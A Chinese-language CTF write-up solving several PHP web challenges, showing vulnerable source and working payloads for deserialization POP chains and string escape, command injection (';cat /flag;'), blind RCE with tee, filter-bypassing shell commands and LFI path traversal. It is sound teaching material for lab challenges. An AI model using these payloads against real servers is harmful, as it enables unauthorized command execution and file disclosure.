EZser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
highlight_file(__FILE__);
class hello
{
public $a;
public $b;
public $c;
public $d;
public function __construct($c,$d)
{
$this->c=$c;
$this->d=$d;
}


public function __destruct()
{
$this->a = base64_encode(uniqid());
if ($this->b === $this->a) {
echo $this->c;
}
}
public function getflag(){
echo 'gogogo'.'<br>';
highlight_file('flag.php');


}

}

class AAA
{
public $aa;
public function __construct($aa){
$this->aa=$aa;
}

public function __toString()
{
$this->aa->hhh();
return 'youaregood';
}

}

class wowowo
{
public $aaa;
public function __construct($aaa){
$this->aaa=$aaa;
}
public function __call($name, $arguments){
echo 'hello'.'<br>';
$this->aaa->getflag();
}

}

if (isset($_POST['xpw'])) {

unserialize($_POST['xpw']);

}

很简单的一道php反序列化的题目
主要是绕过 $this->b === $this->a 但是a的值是未知的的,所以通过&符号使b指向a的地址,从而使他们相等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

class hello
{
public $a;
public $b;
public $c;
public $d;
public function __construct($c = null, $d = null)
{
$this->c = $c;
$this->d = $d;

}
}

class AAA
{
public $aa;
public function __construct($aa = null){
$this->aa = $aa;
}
}

class wowowo
{
public $aaa;
public function __construct($aaa = null){
$this->aaa = $aaa;
}
}

$a = new hello(new AAA(new wowowo(new hello())), 'Admin');
$a->b = &$a->a;

echo serialize($a);
//O:5:"hello":4:{s:1:"a";N;s:1:"b";R:2;s:1:"c";O:3:"AAA":1:{s:2:"aa";O:6:"wowowo":1:{s:3:"aaa";O:5:"hello":4:{s:1:"a";N;s:1:"b";N;s:1:"c";N;s:1:"d";N;}}}s:1:"d";s:5:"Admin";}

简简单单

1
2
3
4
5
6
7
8
9
10
11
12
13
<?PHP

if(!isset($_POST["action"]) && !isset($_POST["data"]))
show_source(__FILE__);

putenv('LANG=zh_TW.utf8');

$action = $_POST["action"];
$data = "'".$_POST["data"]."'";

$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
echo $output;
?>

需要闭合单引号

1
2
3
4
post传参:
action=system&data=';cat /flag;'
或者
action=||&data='cat /flag'

rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("i hate this");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

shell_exec执行的命令看不到回显,利用tee命令,用于将命令的输出同时保存到文件
然后再访问相应的文件得到结果

get传参:
?cmd=tac fl* | tee 1.txt
然后访问 /1.txt

uu包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

buu上的一道原题
mb_substr():返回提取的子字符串。第二个参数表示开始位置,第三个参数表示提取的子字符串的长度

mb_strpos():用于查找一个字符串在另一个字符串中首次出现的位置

in_array() : 用于检查一个值是否存在于数组中

所以参数里面必须要有白名单里面的值才能返回true,
需要一个?截取前面的值是白名单的值,然后再后面目录穿越,include包含文件
hint.php给个提示flag再ffffllllaaaagggg里面

get传参:
?file=hint.php?../../../../../ffffllllaaaagggg

is_serialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(0);

highlight_file(__FILE__);

include 'flag.php';

class class1
{
public $hhh;
public $xxx = 'nonono';
public function __construct($hhh)
{
$this->hhh = $hhh;
}
}

class class2{
public $kong='kong';
}

function filter($good)
{
$safe = array("good","hint","flag", "php","safe");
$good = str_replace($safe, "hack", $good);
return $good;
}

if(isset($_GET['ttt'])) {
$aaa=unserialize($_GET['ttt']);
}

$get = $_GET['get'];
$get = serialize(new class1($get));
$bbb = unserialize(filter($get));


if($aaa->plb=="plb")
{
echo "continue \n";
if ($bbb->xxx == 'yesyesyes') {
echo "$flag";
} else{
echo "nonono";
}
}
else{
echo"???";
}

给class2 动态添加属性 plb令它的值为plb

1
2
3
4
5
6
7
8
9
10
<?php
class class2 {
public $kong = 'kong';
}

$a = new class2();
$a->plb = "plb";
echo serialize($a);
//O:6:"class2":2:{s:4:"kong";s:4:"kong";s:3:"plb";s:3:"plb";}

php反序列化字符串逃逸
根据filter()函数,由php转化成hack,会多出一个字符,然后再计算一下需要多少个字符就行

1
2
3
最终的payload:

?ttt=O:6:"class2":2:{s:4:"kong";s:4:"kong";s:3:"plb";s:3:"plb";}&get=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:3:"xxx";s:9:"yesyesyes";}

ezrce

1
2
3
4
5
6
7
8
9
10
 <?php
if(isset($_POST['suisui'])){
$liang=$_POST['suisui'];
if(!preg_match("/\;| |tac|[0-9]|\\$|\*|more|sort|cat|tail|nl|sed|flag|cut|\`|\%|\x09|\x26/i", $liang)){
system($liang." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>

/dev/null 2>&1语句,就是不进行回显,无法看到结果
可以通过 ; 或者 || 等命令分隔符进行命令分隔 ,从而绕过

<> 替代空格,\ 字符拼接,绕过flag
get传参:
suisui=head<>fla\gggg.php||

php1来咯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 <?php
include 'ssd.php';

if (isset($_POST['ssdxgy'])) {
$ssdxgy = (string) $_POST['ssdxgy'];
if ($ssdxgy === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}

if (preg_match('/ssd\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

if (preg_match('/ssd_xgy/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

if (isset($_GET['ssd_xgy'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>

分析代码,最终要利用highlight_file 包含一个文件,应该就是ssd.php了
basename(): 用于获取文件路径中的基本文件名部分, 比如就是 basename(‘/var/www/html/index.php’) –> index.php
这道题需要的就是basename之后的值为 ssd.php

preg_match('/ssd\.php\/*$/i', $_SERVER['PHP_SELF']) 需要绕过这个正则
需要在后面加上一个非ascii码的值就可以

然后就是ssd_xgy的值不能为空,随便传一个参数就行
php非法传参,[ 会转化成 _

get传参:

1
/index.php/ssd.php/%88?ssd[xgy=1